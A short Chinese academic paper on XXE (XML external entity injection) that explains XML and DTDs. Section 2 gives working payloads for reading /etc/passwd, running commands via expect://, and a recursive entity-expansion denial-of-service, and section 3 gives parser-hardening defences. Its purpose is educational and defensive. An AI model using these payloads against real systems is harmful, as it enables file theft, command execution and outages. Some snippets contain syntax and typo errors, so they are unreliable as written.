网站首页  词典首页

请输入您要查询的论文:

 

标题 XXE漏洞及其防御策略研究
范文

    应宗浩 金海

    摘要:XXE漏洞是近年来产生的影响比较大的漏洞之一,能够任意读取文件,远程执行命令,造成拒绝服务攻击等。该文通过xxe漏洞背景介绍,给出相应的攻击手段,并提出防御策略,以期能够引起人们对xxe漏洞的重视,并加强相关方面的安全开发工作。

    关键词:XXE;漏洞;攻击手段;防御策略

    XML是用于标记电子文件使其具有结构性的标记语言,允许用户对自己的标记语言进行定义。Web端,移动端,云端等客户端技术使用XML向业务应用程序发送消息。为了使应用程序使用自定义的XML消息,应用程序必须去解析XML文档并检查格式是否正确。

    较早的或配置错误的XML处理器无法准确评估XML文件中的外部实体引用。攻击者可以利用外部实体发动攻击。此种攻击行为称之为XXE(XML Enternal Entity Injection),即XML外部实体注入攻击。

    1 XML基础

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    以下是一个典型xml文档

    <?xml version="1.0"?> <!—xml声明—>

    <!DOCTYPE note [<!—DTD文档类型定义,定义此文档是 note 类型的文档>

    <!ELEMENT note (head,body)><!定义note元素有四个元素>

    <!ELEMENT head (#PCDATA)><!定义head元素为”#PCDATA”类型>

    <!ELEMENT body (#PCDATA)><!定义body元素为”#PCDATA”类型>]>

    Reminder<!—文档元素>

    You are a good man<!—文档元素>

    DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。XXE漏洞关注的是外部实体引用,外部实体引用的代码如下:

    <!ENTITY 实体名称 SYSTEM "URI">

    2 xxe典型攻击手段

    2.1 任意读取文件

    <!DOCTYPE foo [<!ENTITY mytest SYSTEMfile:///etc/passwd>]>

    &mytest;

    代码可以读取/etc/passwd,file部分可以替换任意文件路径,使得攻击者能够任意读取文件。

    2.2 执行系统命令

    <!DOCTYPEmytest [<!ELEMENT name ANY >

    <!ENTITY mytest SYSTEM "expect://id" >]>

    &mytest;

    该代码能够在服務器上执行“id”命令,”id”命令可以替换为其他系统命令,通过执行系统命令.

    2.3 拒绝服务攻击

    <!DOCTYPE data [

    <!ENTITY a0 "dos" >

    <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">

    <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">

    <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">

    <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">

    ]>

    &a4;

    该代码通过创建一项递归的 XML 定义,构造恶意的XML实体文件耗尽可用内存,造成拒绝服务攻击。

    3 XXE防御策略

    大部分XML解析器无法正确解析xxe攻击中的实体。因此可以配置XML处理器去使用本地静态的DTD,不允许XML中含有自声明的DTD。可以使用开发语言提供的禁用外部实体的方法,从而避免基于XXE漏洞的攻击。

    另外,升级libxml版本至2.9.0,libxml 2.9.0 以后默认不解析外部实体,也可以通过升级libxml版本进行xxe防御。

    参考文献:

    [1]开放式Web应用程序安全项目.OWASP Top 10 2017[EB/OL]. http://www.owasp.org.cn/owaspproject/OWASPTop102017v1.3.pdf,20171201.

    [2]Mark4z5. 未知攻焉知防——XXE漏洞攻防[EB/OL]. https://security.tencent.com/index.php/blog/msg/69,20140923.

    [3]丁跃潮,张涛.XML实用教程[M].北京:北京大学出版社,2006.

    [4]ChristopherSpth,ChristianMainka,VladislavMladenov.DTD/XXEcheatsheat.webinsecurity.blogspot.de/2016/03/xxecheatsheet.html.20160303.

    作者简介:应宗浩(1997),男,浙江温州人,本科在读,研究方向:信息安全,物联网安全。

随便看

 

科学优质学术资源、百科知识分享平台,免费提供知识科普、生活经验分享、中外学术论文、各类范文、学术文献、教学资料、学术期刊、会议、报纸、杂志、工具书等各类资源检索、在线阅读和软件app下载服务。

 

Copyright © 2004-2023 puapp.net All Rights Reserved
更新时间:2025/2/10 18:55:15